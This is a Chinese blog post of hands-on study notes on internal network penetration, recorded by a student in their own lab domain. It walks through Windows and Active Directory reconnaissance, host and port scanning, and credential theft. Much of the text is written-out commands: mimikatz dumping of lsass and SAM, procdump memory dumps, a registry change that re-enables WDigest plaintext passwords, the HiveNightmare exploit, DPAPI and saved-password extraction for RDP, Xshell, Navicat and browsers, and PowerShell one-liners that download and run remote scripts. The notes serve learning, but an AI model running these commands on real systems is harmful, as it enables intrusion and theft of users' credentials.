内网信息收集|内网渗透体系建设

内网信息收集|内网渗透体系建设

《内网渗透体系建设》学习的实操记录和学习笔记,个人感觉书上的知识点和漏洞利用方式写的是很好的,这里和大家分享一下我学习的实操复现过程以及一些个人学习内网信息收集过程中认为值得一记的知识点。现在的第一部分是关于内网信息收集的部分,下面我再对提权以及内网横向这两个内网渗透必学的内容分别再发布自己实操复现和个人小笔记的学习记录

之前准备一天昨晚这部分内容的实操的,但是因为第一天一早上满课下午又要赶两篇结课论文第二天又是早上满课下午还是有课,这就导致用了两天时间才好昨晚学习收集部分的实操,哭了/(ㄒoㄒ)/~~

1 本机基础信息收集

  1. 查看当前用户权限

    whoami /all
  2. 查看网络配置

    ipconfig /all

    关注点: 当DNS服务器指向的是内网地址的时候这个DNS服务器很可能就是域控机器

  3. 查看主机路由信息

    route print

    打印查看当前主机中的路由表

    image-20221012205255450

    可以从这里找到一些内网的主机地址并且拿到该主机网络的掩码从而确定进行内网存活主机扫描的网段

  4. 查看操作系统信息

    systeminfo 
    systeminfo |findstr /B /C:"OS Name" /C:"OS Version"
    systeminfo |findstr /B /C:"OS 名称" /C:"OS 版本"

    image-20221012205831347

    image-20221012205941413

  5. 查看端口连接信息

    netstat -ano

    image-20221012210342738

    这里记录了TCP,UDP等端口的开放和监听状态, 例如在这里打开了445待会就可以在下面看到网络共享的信息

  6. 查看当前会话列表

    net session

    查看当前主机与所连接的客户端之间的会话, 注意这里需要管理员身份才能列出会话信息, 否则会显示拒绝访问

    image-20221012210707566

    image-20221012210642557

  7. 查看当前网络共享信息

    net share

    查看当前主机开启的共享列表

    image-20221012210451023

    这几个C$,IPC$,ADMIN$是默认配置的对应映射(IPC$在内网横向的时候会用的很多)

  8. 查看已连接的网络共享

    net use

    image-20221012210616077

  9. 查看当前进程信息

    tasklist
    tasklist /SVC

    查看当前主机的全部进程信息, 可以通过进程列表确定主机上本地程序和的运行情况, 并且可以将进程列表导出使用工具识别主机上有哪些杀软

    image-20221012211220628

    将进程列表复制到在线网站识别杀软进程: Windows杀软在线对比

    image-20221012211208576

    WMIC是微软为Windows管理规范提供的命令行工具, 提供从命令行接口和批处理脚本执行系统管理的支持

    在后面进行内网横向还可以看到WMIC进行下面几种利用方法:

    1. 远程查询进程列表
    2. 创建远程进程
    3. 远程安装MSI文件
    4. WMI事件订阅
      • 要求1: 远程主机开启WMI服务(默认开启)
      • 要求2: 远程主机开启135端口
    wmic process get Name, ProcessId, ExecutablePath

    查询主机进程信息,并过滤出进程的路径, 名称和PID

    image-20221012212344570

    wmic process where Name="GameBarFTServer.exe" get ExecutablePath

    查看指定进程的路径信息

    image-20221012212422604

  10. 查看当前服务信息

    wmic server get Caption, Name, Pathname, Startname, State

    查看当前全部服务的信息, 过滤出服务的名称,路径,创建事件,运行状态信息

    image-20221012212832834

    wmic serever where Name="backdoor" get Caption, pathname, state

    查看指定服务信息并过滤出指定信息

  11. 查看计划任务信息

    schtasks /query /v /fo list

    查看主机上所有的计划任务

    image-20221012213021494

  12. 查看自启程序信息

    wmic startup get Caption, Command, Location, User

    查看主机上全部自启程序信息, 过滤出程序名称,执行的命令,程序路径,所属用户

    image-20221012213118746

  13. 查看系统补丁安装信息

    wmic qfe get Caption, Csname, Description, HotFixID, InstalledOn

    查看当前主机补丁列表, 过滤出补丁链接,名称,描述,补丁编号,安装时间

    image-20221012213357285

    之后可以根据当前操作系统的版本编号以及缺少的补丁进行漏洞利用

  14. 查看应用安装信息

    wmic product get Caption, Version

    查看主机上安装的应用软件信息, 过滤出应用名称,版本

  15. 查看本地用户/组信息

    net user    #查看主机本地用户信息
    net user  #查看某个用户信息
    net localgroup   #查看某个用户组
    net localgroup administrators   #查看本地管理员组
    net user   /add #创建本地用户
    net localgroup administrators  /add   #将用户加入本地管理员组

    image-20221012221340430

    添加用户添加用户到管理员组在默认打开的cmd是执行不了的, 需要管理员身份打开窗口执行命令才行

  16. 查看当前登录的用户

    query user

    查看当前主机登录的用户, 如果有多个用户使用远程桌面登录账号的话就会产生多个会话, 这时候看的话就显示多个用户的登录状态了

    image-20221012221554484

2 域内信息收集

之前在执行上面的命令的时候我的PC主机都是处于默认的工作组WORKSPACE

下面的命令是我在加入了局域网h0cksr.bxs之后执行的

  1. 判断是否存在域环境

    net config workstation

    查看当前工作站信息, 包括计算机名 ,用户名,系统版本,工作站,登录的域等信息

    image-20221012223151602

  2. 查看域用户信息

    net user /domain #查看所有域用户
    net user  /domain  #查看指定域用户详细信息
    wmic useraccount get Caption, Domain, Description    #获取所有用户SID,所属域和用户描述信息

    三条命令执行输出如下三图所示

    image-20221012223110318

    image-20221012223134654

    image-20221012223619220

  3. 查看域用户组信息

    net group /domain    #列出域内所有用户组
    net group "Domain Admins" /domain    #查询域内管理员组,得到所有域管理员用户
    net group "Domain Computers" /domain #查询域内成员主机组,获得域内所有客户端主机

    获取所有域内用户组

    Zerologon(CVE-2020-1472)就是通过重置Domain Computers的域控的主机用户密码,然后使用SCSync攻击导出域管密码哈希就行PTH哈希传递攻击,从而获取域控的权限

    • 域控机器账户密码由系统定时更新,默认强度为120个字符

    • 机器账户是不允许远程登录的, 但因为域控机器账户默认拥有*DCSyns权限才使用这个攻击方式导出哈希表进行PTH攻击

    域组名称 说明(记住组名就行,里面的用户见名知意)
    Domain Admins 域管理员组,包括所有域管理员用户
    Domain Computers 域成员主机组,包括加入域的所有工作站和服务器,用户名格式为机器名+$
    Domain Controllers 域控制器组,包括域中的所有域控制器
    (查询这个用户组可以得到所有域控制器主机名,见下面第5点)
    Domain Guests 域来宾组,包括所有的来宾用户
    Domain Users 域用户组,包括所有的域用户
    Enterprise Admins 企业系统管理员组, 适用于域林范围

    image-20221012223805234

    查询Domain Admins域内管理员组获取域内管理员用户,Domain Computers域成员主机组获得所有客户端主机

    当前只有两台主机在线,一台就是当前执行操作的WIN10-WEB01还有一台WIN7的主机WIN7-WEB

    image-20221012224126449

  4. 查看域内密码策略

    net accounts /domain

    可以根据域内密码策略动态调整规则生成对应的密码爆破字典

    image-20221012230002304

  5. 查看域控制器列表

    net group "domain Controllers" /domain
    nltest /DCLIST:h0cksr.bxs    #查询指定域内的域控制器列表,这里指定查询的域是h0cksr.bxs

    查看域控制器列表, 可以得到所有域控制器主机名

    当前默认就一台DC域控制器, 之前我是有设置几台子域控制器和辅域控制器的, 如果将他们打开那么就也会显示在这里了

    image-20221012230139033

    image-20221012230616667

  6. 查看主域控制器

    net time /domain

    在域环境中主域控制器或同时被用作时间服务器, 是的雨中所有的计算机时钟同步, 因此可以通过查询时间服务器来找到主域控制器名称

    image-20221012230814769

  7. 定位域控制器

    ping DC.h0cksr.bxs   #这里的DC为域控主机名
    ipconfig /all

    第一种ping方式是通过域环境的DNS解析配置完成域控制器的ip解析

    第二种ipconfig方式则是通过查找NDS服务器的方式寻找域控制器ip, 因为一般情况下域控制器在域内往往还会被当作DNS服务器

    image-20221012231112175

  8. 查看域信任关系

    nltest /domain_trusts

    域信任用于多域环境中的跨域资源共享

    一般情况下, 一个域用户只能访问本域内资源而无法获取其它域内的资源, 想要实现跨域资源的访问就需要建立域信任关系

    通过以上命令可以查询当前主机所在域和其它域的信任关系

    因为当前我只是打开了一个域控服务器和两个普通域内PC, 并没有打开建立了域信任关系的DC所以这里就没有其他的域信息了

    image-20221012231407061

3 内网资源探测

3.1 发现内网存活主机

  1. 基于ICMP发现主机存活

    for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.30.%I |findstr "TTL="

    ICMP属于TCP/IP协议簇的一个子协议, 用于网络层通信(IP主机路由之间传递控制消息), 提供可能发生在通信环境中的各种问题反馈.

    通过这些信息管理员可以对发生的问题做出诊断, 然后采取对应的解决措施

    注意:

    正是因为ICMP协议属于网络层协议而我们一半使用的内网穿透TCP代理, TCP协议属于传输层(OSI七层模型的位置), 就是说TCP是在ICMP之上的, 所以只是挂了TCP代理的话并不能代理我们的ping发出icmp协议数据包

    image-20221012232707549

  2. 基于NetBIOS(内网基本输入/输出系统)协议发现存活主机

    NetBIOS并不是一种协议, 它是一种应用程序接口(API), 提供OSI/RM的会话层服务, 让不同的计算机上运行的不同程序可以在局域网中相互连接和共享数据。

    几乎所有局域网都是在NetBIOS协议的基础上工作的, 操作系统可以利用WINS服务, 广播, Lmhost文件等模式将NetBIOS名解析为相应的IP地址.

    NetBIOS的工作流程就是正常的主机名解析,查询,应答的过程

    Windows默认在安装TCP/IP之后将自动安装NetBIOS

    这里默认的不知道有啥系统工具, 我们可以使用卡里kali自带的工具nbtscan进行扫描

    但是那是linux的, 我们需要使用windows程序的话可以到nbtscan-v1.5.2-2394b4下载

    nbtscan.exe 192.168.30.1/24

    image-20221012234239840

  3. 基于UDP发现存活主机

    unicornscan -mU 192.168.30.1/24

    UDP是属于传输层的无连接传输协议, 为应用程序提供一种不需要建立连接就可以发送封装的ip数据包的方法

    将一个空的UDP报文发送到目标主机特定端口后:

    • 目标主机端口是关闭的, 则UDP探测得到一个ICMP无法到达的报文
    • 端口开放可达, 大多数服务直接忽略这个空报文不做任何回应

    unicornscan在kali中并没有默认自带, 但是我们输入执行的话会自动进行安装

    image-20221012234938491

    或者我们也可以到downloading Unicornscan下载源码编译得到可执行文件, 但是并没有找到windows版本的exe文件或者可以直接执行make得到exe的源码项目

  4. 基于ARP发现主机

    arp-scan.exe -t 192.168.30.1/24
    
    powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://127.0.0.1/Invoke-ARPScan.ps1');Invoke-ARPScan -CIDR 192.168.92.1/24"

    arp是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议, 用于五楼层通信。主机发送信息时, 将包含目标地址的arp请求通过广播发送给局域网上的所有主机, 并等待应答接收返回信息, 以此确定目标的物理位置

    1. arp发送方通过广播发送一个arp数据包向局域网全部主机发送数据包, 询问谁是"192.168.30.x"
    2. 局域网内的其他主机收到询问后有两种情况:
      1. 局域网ip为"192.168.30.x"的主机: 向请求主机发送响应包, 告诉请求主机, "我就是192.168.30.x,我的mac地址是xxxx"
      2. 局域网ip不是"192.168.30.x"的主机: 忽略这个请求
    3. arp收到响应后将ip::192.168.30.x => mac::xxxx这个映射关系存到arp缓存中

    在收到返回的响应后, arp发送主机会将应答主机的mac地址和ip地址存入arp缓存这个映射表中保存一段时间

    这里也是没什么默认系统工具,可以通过项目直接下载可执行exe文件arp-scan-windows-或者使用ps脚本Invoke-ARPScan.ps1直接使用IEX直接一句话加载远程代码

    image-20221013002824780

    使用powershell脚本的话如果照着下面导入.ps1文件然后逐句执行的话需要先执行以下命令修改系统策略允许加载执行.ps1文件(默认是禁止的)

    注意: 修改权限命令执行的powershell需要使用管理员身份打开, 否则会报错

    set-ExecutionPolicy RemoteSigned

    上面是一般用户模式执行ps命令,下面是管理员身份执行

    image-20221013003530785

    powershell下逐句执行以下命令:

    Import-Module .\Invoke-ARPScan.ps1
    Invoke-ARPScan -CIDR 192.168.92.1/24
    powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://127.0.0.1/Invoke-ARPScan.ps1');Invoke-ARPScan -CIDR 192.168.92.1/24"

    image-20221013004755834

  5. 基于SMB(Server Message Block,服务消息块)协议发现主机

    SMB又称为网络文件共享系统(CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件夹、打印机、串行端口和通信等资源。

    CIFS消息一般使用NetBIOS或TCP发送,分别使用139或445端口(这点需要注意一下,后面学习提取或者横向的时候如果用到SMB服务的话就需要满足139或445端口开启,原因就是在这里了),目前倾向于使用445端口

    实战中可以通过探测SMB服务确定主机的存活,SMB探测主要用于Windows系统

    SMB协议探测主机存活使用的是CrackMapExec(简称CME)在kali中已经集成了(如果没有的话可以通过apt-get安装)

    CrackMapExec能够枚举登录用户,枚举SMB服务列表,执行WINRM攻击(WINRM会在后面的横向用到)等功能

    Windows版本的可以通过CrackMapExecWin_v2.2.zip下载解压拿到exe文件, 但是defender报毒很严重, 一直不停地弹警告(不知道是文件有问题还是CME的指纹被录到Defernder了或者二者皆有之, 但不管怎么说弹警告这个验证那么上传到靶机运行是不显示的了)

    但这个应该是小问题, 毕竟SMB协议属于应用层的协议, 那么TCP代理是可以完成的, 所以直接把代理挂到kali里面就行

    image-20221013013321574

    这里因为没有给靶机准备代理, 所以我就直接将kali的网卡换位与靶机一样的主机模式(但是ip不在域的子网范围内192.168.30.0/24且没有加到域内所以里面域内的靶机192.168.30.13是无法直接和kali之间正常相互通信的), 然后使用crackmapexec就行smb服务扫描,最后执行的结果确实只找到了DC域控主机的smb服务, 并没有扫描到域内的192.168.30.13

    image-20221013014211299

3.2 内网端口扫描

  1. 利用Telnet探测端口

    telnet  

    很明显的差别, 端口不开放直接显示time out(192.168.92.1主机开放了80端口,未开放888端口)

    image-20221013020511164

  2. 利用Nmap进行端口扫描

    nmap -p 80,88,135,139,443,445,3306,3389,8080 192.168.92.1    #使用默认的ping扫描,扫描指定端口
    nmap -sS -p 1-65535 192.168.92.1 #使用半开扫描,扫描全端口
    nmap -sC -sV -p 80,88,135,139,443,445,3306,3389,8080 192.168.92.1    #使用默认ping扫描,对指定端口进行服务识别(指纹识别),并且进行版本扫描

    image-20221013020823791

    在扫描端口这方面nmap的功能是很强大的, 前些天上网络攻防实践的时候上课就降到了关于TCP的多种扫描方式,而这些方式均课通过nmap实现

    参数 说明
    -sT TCP连接扫描
    -sS TCP SYN扫描(半开扫描), 需要root权限
    -sF TCP FIN扫描
    -sN TCP 空扫描
    -sX TCP 圣诞树扫描
    -sA TCP ACK扫描
    -sU UDP 扫描, 结果不大可靠
    -sP ping扫描,nmap端口扫描的时候默认就是使用ping扫描
    只有主机存活, Nmap才会继续扫描

    此外还有一些参数:

    参数 说明
    -sR RPC扫描
    -sV 版本扫描
    -b FTP代理扫描
    -P0 扫描前不ping主机
    -v 显示详细扫描过程
    -p 指定扫描端口
    -O 操作系统探测
    -A 全面系统探测,启用脚本检测、扫描等
    -sC 根据端口识别的服务,调用默认脚本
    --script=脚本名称 使用脚本引擎, 有多种功能的脚本,如
    漏洞扫描、漏洞利用、目录扫描等功能
  3. 利用powershell进行端口扫描

    powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.92.1/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.92.1 -EndAddress 192.168.92.30 -ResolveHost -ScanPort"   
    
    powershell.exe -exec bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://192.168.92.1/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 192.168.92.1 -EndAddress 192.168.92.30 -ResolveHost -ScanPort -Port 80,88,135,139,443,445,3306,3389,8080"   

    可以使用nishang项目扫描模块中的脚本Invoke-PortScan.ps1进行powershell导入执行, 我们需要指定的参数主要就是扫描起始ip和终止ip, 默认扫描下面这个内置的默认端口列表, 可以通过-Port参数指定扫描的端口列表

    $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),

    image-20221013022036651

    这个ps脚本的输出感觉还是挺舒服的, 但是感觉速度比较慢, 而且扫描过程中还可能会报错直接中断, 所以体验并不是很好

3.3 利用MetaSploite探测内网

MetaSploite中内置集成的发现内网主机存活探测内网服务,对目标主机端口扫描的这些后渗透扫描功能模块都放在auxiliary/scanner里面,可以直接搜索查看, 如果想要找某个服务的扫描模块可以搜索auxiliary/scanner/服务名称

msfconsole
search auxiliary/scanner

如果想要进行比较有针对性的搜索可以参考下面几个:

image-20221013023307032

MetaSploite的模块是非常多的, auxiliary/scanner扫描辅助模块就有高达607个模块可用, 上面所说的各种查找几乎都有对应的模块实现,

image-20221013023605043

3.4 获取端口Banner指纹信息

通过指纹识别我们可以从端口的指纹特征中得到软件开发商,软件型号,服务类型,版本号这些信息(主要是最后两个),便于我们展开下一步的攻击

  1. 利用NetCat获取端口指纹

    nc -nv  

    image-20221013204517086

  2. 利用Telnet获取端口指纹

    telnet  

    telnet直接连接查看返回信息的话其实和nc <ip> <port>没啥区别, 都是根据首个返回包里面的关键字进行服务类型判断

    image-20221013205003396

    image-20221013211945087

  3. 利用Nmap获取端口指纹

    nmap --script=banner -p  

    其实nmap默认直接指定ip网段扫描的时候就已经会将端口的服务类型指纹信息输出的了, 但是使用banner脚本之后可以看到更多更详细的服务信息(例如服务版本号)

    可以从下面两次的执行结果比较使用banner脚本前后输出内容的变化

    image-20221013212342319

4 用户凭据收集

4.1 获取域内单机密码哈希值

域内用户密码哈希的收集可以说是信息收集和内网横向之间承前启后的工作了, 找到其他用户的密码和哈希之后进行PTH哈希传递, 票据传递等攻击进行横向进一步掌握更多的内网资源

SAM文件

SAM文件是Windows用户的账户数据库,位于%SystemRoot%\System32\Config目录中,所有本地用户的用户名, 密码哈希等信息都被存放在这个数据库文件中.

如果之前了解NTLM的本地身份验证机制就可以知道, 在用户输入用户名密码登录时, 用户输入的密码会被转为哈希值, 然后将转换后的哈希值域SAM数据库中对应用户名的密码哈希值进行比对, 如果一致则说明密码正确, 认证成功.(这里使用哈希进行比对我们可以注意一下, 因为身份验证机制中很多地方都是使用哈希就行验证的而非明文密码比对, 这就出现了之后的PTH攻击)

lsass.exe是Windows的一个系统进程, 用于实现系统的安全机制, 主要用于本地安全和登录策略. 通常在用户输入密码完成验证开始登录用户的时候, 登录的域名, 用户名,登录凭据等信息都会存储在lsass.exe的进程空间中, 用户的密码则是通过WDigestTspkg模块调用后使用可逆的加密算法加密后存储在内存中.

用户获取账户的密码和哈希的工具有很多, 其中大多都是通过读取SAM文件或者访问lsass.exe进程的内存数据操作实现的, 而这些都需要管理员权限, 这就意味着我们如果只有普通用户的权限的话是做不到这点的, 所以需要我们进行提权的操作, 下面先直接使用mimikatz内置的提权方式: privilege::debug获取DebugPrivilege权限, 至于更多的提权方式会在后面单独讲

在上面说到在用户登录的时候用户的明文密码会通过WDigestTspkg模块调用后再加密存储在lsass.exe的内存中, 但是为了防止用户明文密码在内存中泄露, 微软在2014年5月发布了KB2871997补丁, 关闭了WDigest功能, 禁止从内存中读取明文密码, 且Windows Server 2012及以上版本默认关闭WDigest功能.

但是我们可以通过修改注册表重新开启WDigest功能:

开启WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

关闭WDigest
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

再修改注册表开启WDigest之前查看注册表可以看到并没有UseLogonCredential这个数据项, 在修改之后UseLogonCredential数据项添加(但是修改数据项的时候出现了defender的弹窗, 需要手动设置允许存在电脑上才会成功添加数据项, 否则即使1执行了命令数据项也不会添加)

image-20221013235756095

再修改注册表关闭WDigest, 可以看到UseLogonCredential数据项的值由原本的0x1变为了0x0

image-20221013235856081

  1. 在线读取lsass.exe进程内存

    mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit #从lsass.exe进程的内存中读取当前已登录用户的凭据(需要管理员身份执行,否则会DebugPrivilege权限获取失败)
    #privilege::debug提升至DebugPrivilege权限
    #sekurlsa::logonpasswords导出用户凭据

    在线读取就是将mimikatz上传到靶机上, 然后直接在靶机上执行mimikatz(但是难度有点大, 比如我将mimikatz的压缩包复制到Win10虚拟机中zip就已经报毒了, 后面解压的时候更是直接连续报了十几个危险警报, 不过为了便于演示我便手动将这些警报文件全部设为允许存在设备上了)

    image-20221013215247561

    image-20221013221051896

    mimikatz除了上面这种直接一条命令指定全部的执行语句之外也可以使用交互式, 下面就是交互式中逐行执行命令的使用

    mimikatz中分别执行命令:

    privilege::debug
    sekurlsa::logonpasswords full

    之后就会将用户的密码和哈希等信息全部显示了, 如果没有找到对应密码的话则是会显示(null), 另外这个密码匹配并不是说强度低的就一定会显示,这个需要看lsass的内存数据, 例如h0cksr只有4位纯数字的密码依旧是(null),而当前主机的域内主机用户WIN10-WEB01$密码强度极大依旧直接以明文显示出来了(机器账户是不能远程的,关于机器用户的利用我们会在后面使用zerologon横向攻击的部分详细将解)

    image-20221013220304876

    image-20221013215946443

  2. 离线读取lsass内存文件

    procdump.exe -accepteula -ma lsass.exe lsass.dmp #将lsass内存导出到lsass.dmp文件中
    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit #导入lsass.dmp内存文件并导出已登录用户凭据
    1. 将procdump上传到靶机中以管理员身份执行命令导出内lsass进程内存到lsass.dmp文件

    2. 然后将lsass.dmp文件下载到本地, 在mimikatz中导入lsass.dmp内存文件, 然后导出用户凭据

    procdump并不会被杀软拦截,因为是微软的软件,有微软的签名证书,可以到微软官方网站下载: procdump下载地址

    不过有点尴尬, 因为一般来说就是使用管理员权限执行就可以导出lsass内存的, 但是这里执行的时候就失败了显示拒绝访问

    image-20221013233813260

    除了procdump之外之外lsass的进程内存转储还可以通过其他工具完成, 如OutMinidump.ps1,SharpDump或者手动加载系统自带的comsvcs.dll

  3. 在线读取本地SAM文件

    mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
    # privilege::debug,用于提升至DebugPrivilege权限
    # token::elevate,提升至system权限
    # lsadump::sam,用于读取SAM文件

    这里有点呆, 直接执行的话会返回拒绝访问, 但是只要我们进入mimikatz的交互模式逐句执行就可以正常读取导出SAM文件

    image-20221014000538887

    image-20221014000804975

  4. 离线读取本地SAM文件

    和上面的lsass离线读取一样, 这里是先将SAM文件导出到一个文件, 然后将文件下载到本地, 在本地使用mimikatz加载并读取SAM中的用户凭证信息

    为了提高SAM文件的安全性以防止离线破解, Windows会对SAM文件使用秘钥进行加密, 这个秘钥存储在SYSTEM文件中, 与SAM位于同一个目录下.

    在系统运行时,SAM和SYSTEM这两个文件是被锁定的, 所以需要借助一些工具来实现, 有下面几个方式参考:

    1. 使用PowerSplit项目中提供的Invoke-NinjaCopy.ps1脚本

      Invoke-NinjaCopy -Path 'C:\Windows\System32\config\SAM' -LocalDestination 'C:\Users\h0cksr\Desktop\SAM'

      该说不说, 又翻车了, 直接以管理员身份打开powershell导入Invoke-NinjaCopy.ps1模块执行命令, 结果直接显示被防毒软件ban了(当前为Win10教育版)

      image-20221014010718979

    2. 通过HiveNightmare漏洞(CVE-2021-36934), 直接从系统卷影副本中访问和转储SAM,SYSTEM文件

      • 系统卷影副本,需要创建有系统还原点, 其影响范围为Windwos10 Version 1809以来发布的全部版本, 包括Win11在内
      1. icacls C:\Windows\System32\config\SAM    #在一般用户权限下执行即可, 若是输出"BUILTIN\Users:(I)(RX)"则表示系统易受攻击

        因为虚拟机和我的物理机都没有创建过系统还原点所以并不存在该漏洞, 下面的利用在这里记一下, 就演示不了了

        image-20221014003903315

      2. 下载HiveNightmare.exe然后将其上传到靶机, 直接执行HiveNightmare.exe就会在当前目录下导出生成SAM,SYSTEM,SECURITY三个文件

      3. python3 secretsdump.py -sam SAM-haxx -system SYSTEM-haxx -security SECURITY-haxx LOCAL

        运行Impacket的secretsdump.py导出SAM文件中的哈希值

    3. 在管理员权限下执行命令通过保存注册表的方式导出

      reg save HKEY_LOCAL_MACHINE\SAM\SAM sam.hive    #导出SAM注册表
      reg save HKEY_LOCAL_MACHINE\SYSTEM system.hive  #导出SYSTEM注册表
      
      mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit  #使用mimikatz读取SAM文件内容

      执行命令后将得到SAM和SYSTEM注册表的导出文件, 然后将这两个.hive文件导出到本地的mimikatz工具目录下, 执行命令指定SAM文件和SYSTEM文件即可读取导出注册表中的域,用户名,密码哈希

      image-20221014011842020

4.2 获取常见应用软件凭据

  1. 获取RDP保存的凭据

    cmdkey /list #查看当前保存的凭据
    dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*   #遍历Credentials目录下保存的历史连接凭据数据
    
    mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit    #使用mimikatz解析指定的连接凭据
    
    mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit   #找到与guidMasterKey(GUID)相关联的MasterKey
    
    mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D/masterkey:c33afd208e2f69c975b90546deedc8091c47eab49fb96a9c3092373f276a85dcf90d41e072eb4a105599244876b686c145f5bd2f00ffc12cac2e7faace661733" exit

    执行命令遍历Credentials目录下保存的历史连接凭据数据, 可以看到有一个历史凭据DFBE70A7E5CC19A398EBF1B96859CE5D

    dir /a %USERPROFILE%\AppData\Local\Microsoft\Credentials\*

    image-20221014013814693

    使用mimikatz解析指定的连接凭据DFBE70A7E5CC19A398EBF1B96859CE5D

    mimikatz.exe "privilege::debug" "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D" exit

    image-20221014013655337

    这时候拿到的pdData就是凭据的加密数据, guidMasterKey就是该凭据的GUID, 记录下guidMasterKey的值(73207018-83c2-482d-ba70-8abba34fca4f)然后执行mimikatz命令找到想关联的MasterKey

    mimikatz.exe "privilege::debug" "sekurlsa::dpapi" exit

    原本应该是直接一个命令就执行完的, 但是发现在非管理员模式下会返回Access is denied.即使是在管理员模式下也只是会返回访问拒绝(其实都一个意思)

    但是使用mimikatz.exe在管理员模式下逐句执行就没问题可以拿到后面的MasterKey

    image-20221014015145147

    image-20221014014629313

    拿到MasterKey, 这就是加密凭据所使用的秘钥

    c33afd208e2f69c975b90546deedc8091c47eab49fb96a9c3092373f276a85dcf90d41e072eb4a105599244876b686c145f5bd2f00ffc12cac2e7faace661733

    使用秘钥执行命令使用MasterKey值破解指定的凭据文件

    mimikatz.exe "dpapi::cred /in:%USERPROFILE%\AppData\Local\Microsoft\Credentials\DFBE70A7E5CC19A398EBF1B96859CE5D/msaterkey:c33afd208e2f69c975b90546deedc8091c47eab49fb96a9c3092373f276a85dcf90d41e072eb4a105599244876b686c145f5bd2f00ffc12cac2e7faace661733" exit

    最后执行这个命令就可以在回显的UserNameCredentials这两个数据的值得到用户名和密码, 但是不出意外就出意外了, 我这里执行了之后mimikatz报错了并没有得到正常回显

    image-20221014020303469

  2. 获取Xshell保存的凭据

    SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang\Xshell\Sessions"   #获取Xshell5的账密
     SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions"  #获取Xshell6的账密

    Xshell会将服务器连接信息保存在Session目录下的.xsh文件中, 如果用户在连接的时候勾选了记住用户名/密码, 改文件会保存远程服务器连接的用户名和结果加密后的密码

    Xshell版本 .xsh文件路径
    Xshell5 %USERPROFILE%\Documents\NetSarang\Xshell\Sessions
    Xshell6 %USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions
    Xshell7 %USERPROFILE%\Documents\NetSarang Computers\7\Xshell\Sessions

    Xshell5和6可以通过工具SharpDecryptPwd解密, 除此之外该工具还可以解密NavicateTeamViewerFileZillaWinSCPXmangager系列产品

    SharpDecryptPwd.exe上传到靶机, 执行命令即可获取xshell中保存的全部账号密码

    SharpDecryptPwd.exe -Xmangager -p "%USERPROFILE%\Documents\NetSarang Computers\6\Xshell\Sessions"

    Xshell7后的版本通过上面命令获得的密码为一串乱码,只能使用星号密码查看器直接查看密码

  3. 获取FileZilla保存的凭据

    SharpDecryptPwd.exe -FileZilla

    FileZilla用于FTP连接, 它会将FTP登录凭据以base64密文的格式保存在%USERPROFILE%\AppData\Roaming\FileZilla\recentservers.xml文件中, 可以使用SharpDecryptPwd直接一键导出FileZilla保存的凭据

  4. 获取Navicat保存的凭据

    SharpDecryptPwd.exe -NavicatCrypto

    执行命令可以一键导出当前主机上用户连接过的所有数据库的登录凭据

    数据库类型 凭据存储路径(注册表)
    Mysql HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Server\< Connetion Name>
    MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\< Connetion Name>
    MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\< Connetion Name>
    SQL SERVER HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\< Connetion Name>
    Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\< Connetion Name>
    PostgreSQL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\< Connetion Name>
    SQLite HKEY_CURRENT_USER\Software\PremiumSoft\NavicatSQLite\Servers\< Connetion Name>

    Navicat的注册表中记录了保存密码的连接数据, 包括IP,用户名,密码,连接数据库名,数据库类型等, 其中密码字段是结果可你算法加密后再保存的, 其中Navicat<=11版本和Navicat>=12版本分别使用不同的加密算法(但是这就不需要我们关心了,直接工具一把梭拿到全部连接的账号密码和对应ip就行)

  5. 获取浏览器保存的凭据

    hack-browser-data.exe

    浏览器没什么好说的,就是直接将工具hack-browser-data上传到靶机上直接运行也不需要指定扫描参数, 然后就会将相关的数据导出到当前目录下的./result目录下

    image-20221014024114452

    跑了一下打开password密码表单看到浏览器的账号密码还是很齐全的, 全都在上面了, 感觉工具还是很好用的, 不过工具解压的时候exe会被defender隔离, 所以这个工具就看情况使用吧

2022_10_12 - 2022_10_14 03:00

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
